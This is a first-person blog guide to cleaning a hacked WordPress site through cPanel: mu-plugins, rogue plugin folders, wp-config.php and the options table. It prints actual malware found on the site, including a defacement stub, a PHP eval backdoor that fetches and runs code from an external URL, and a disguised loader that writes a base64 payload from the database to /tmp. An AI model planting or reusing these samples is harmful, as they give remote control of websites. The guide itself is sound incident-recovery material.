A Step-by-Step Survival Guide
It started like a nightmare. I logged into my WordPress dashboard to find:
I couldn't install security plugins, change themes, or even access critical settings. The hacker had locked me out of my own website.
But I had cPanel access, and I wasn't giving up. Here's the complete battle plan I used to recover my site.
Since the WordPress dashboard was compromised, I couldn't rely on it. My first move was to access my site's files directly through cPanel File Manager (or FTP if you prefer).
Hackers often hide menus by adding restrictions to your wp-config.php file. I opened it and searched for:
define('DISALLOW_FILE_MODS', true);
define('DISALLOW_FILE_EDIT', true);
My result: Not found. But I kept this in mind as a possibility for other victims.
I navigated to wp-content/ and found a folder called mu-plugins (Must-Use plugins).
Why this matters: mu-plugins run automatically and cannot be deactivated from the WordPress dashboard. Hackers love them.
My action:
mu-plugins folder as a ZIP (for evidence/analysis)mu-plugins folder from the serverResult: Still no menus. But I knew this was a common hiding spot, so I was glad I checked.
I opened wp-content/plugins/ and found several suspicious folders with weird names:
w2sdf_e9263919w2srest_0c8c51c9wp-optimizer-7820b3e790wp2shell-62c83a396128wp2shell_20846473wp2shell_82bd276esite-tweaks-23c0ba9e0cflavor_c98ec821Each contained only a tiny error_log file (450 bytes). I opened one and found:
<?php
/* Plugin Name: w2sdf */
if(!get_option('w2sdf_done')){
@file_put_contents(ABSPATH."f3ac12a8.txt","Hacked by CoupDeGrace");
@file_put_contents(ABSPATH."a7ed633.html","<br> Hacked by CoupDeGrace <br>");
add_option('w2sdf_done',1);
}
What this did: Created defacement files with "Hacked by CoupDeGrace" messages.
My action: Deleted all these suspicious folders immediately.
In the flavor_c98ec821 folder, I found cox_351e48fa.php with this terrifying code:
<?php
eval("?>".file_get_contents("https://tubersite.dagenhamtv.co.uk/media/com_sppagebuilder/assets/iconfont/km/fonts/bhu/index.txt"));
?>
What this does: This is a Remote Code Execution (RCE) backdoor. It downloads and executes malicious code from an external server every time it loads.
My action: Deleted the entire flavor_c98ec821 folder immediately.
While checking wp-config.php, I found this sophisticated malware disguised as "WP_Core_Integrity":
/* WP_Core_Integrity c8ace243 */
if(!file_exists('/tmp/phpZS3nD8')){
$_o=@(new PDO('mysql:host='.DB_HOST.';dbname='.DB_NAME,DB_USER,DB_PASSWORD))
->query("SELECT option_value FROM ".$table_prefix."options
WHERE option_name='_site_transient_health_4ae74652'");
if($_o&&($_r=$_o->fetch())){
@file_put_contents('/tmp/phpZS3nD8',base64_decode($_r[0]));
@chmod('/tmp/phpZS3nD8',0644);
}}
/* End-WP_Core_Integrity c8ace243 */
How this works:
/tmp/A. Removed from wp-config.php:
WP_Core_Integrity code blocksB. Purged from database:
wp-config.php for $table_prefix)[prefix]_options tableoption_name containing _site_transient_health_After cleaning all the malware, my menus were STILL missing. Then I tried something drastic:
I disabled ALL plugins via cPanel:
wp-content/plugins folder to plugins_DISABLEDBOOM! The Plugins, Appearance, and Settings menus instantly reappeared!
This proved: One of my plugins was hiding the menus.
plugins_DISABLED back to pluginsAfter removing malware, I changed every single password:
wp-config.php)Once I had my menus back, I installed Wordfence Security (free version):
Wordfence compares your files against the official WordPress repository and finds:
I let it clean everything it found.
wp-config.php for DISALLOW_FILE_MODSmu-plugins folder (after backing up)wp-config.php_options table of malicious transientsThey don't just deface sitesβthey create self-healing backdoors in databases, hide code in "error_log" files, and use legitimate-looking names like "WP_Core_Integrity."
Must-Use plugins run automatically and can't be deactivated from WordPress. Always check this folder first.
File-based malware is easy to delete. Database malware can recreate itself. Always check your [prefix]_options table for suspicious entries.
If menus disappear, rename your plugins folder. If menus return, a plugin is the culprit.
Don't be lazy. The hacker had access to everything.
Getting hacked is terrifying. You feel violated, frustrated, and overwhelmed. But you can recover.
I went from locked out of my own website to fully restored in less than 24 hours. It required:
If you're reading this while your site is hacked: Don't panic. Follow these steps. Take it one at a time. You've got this.
And once you're recovered? Share your story. Help the next person who finds themselves in this nightmare.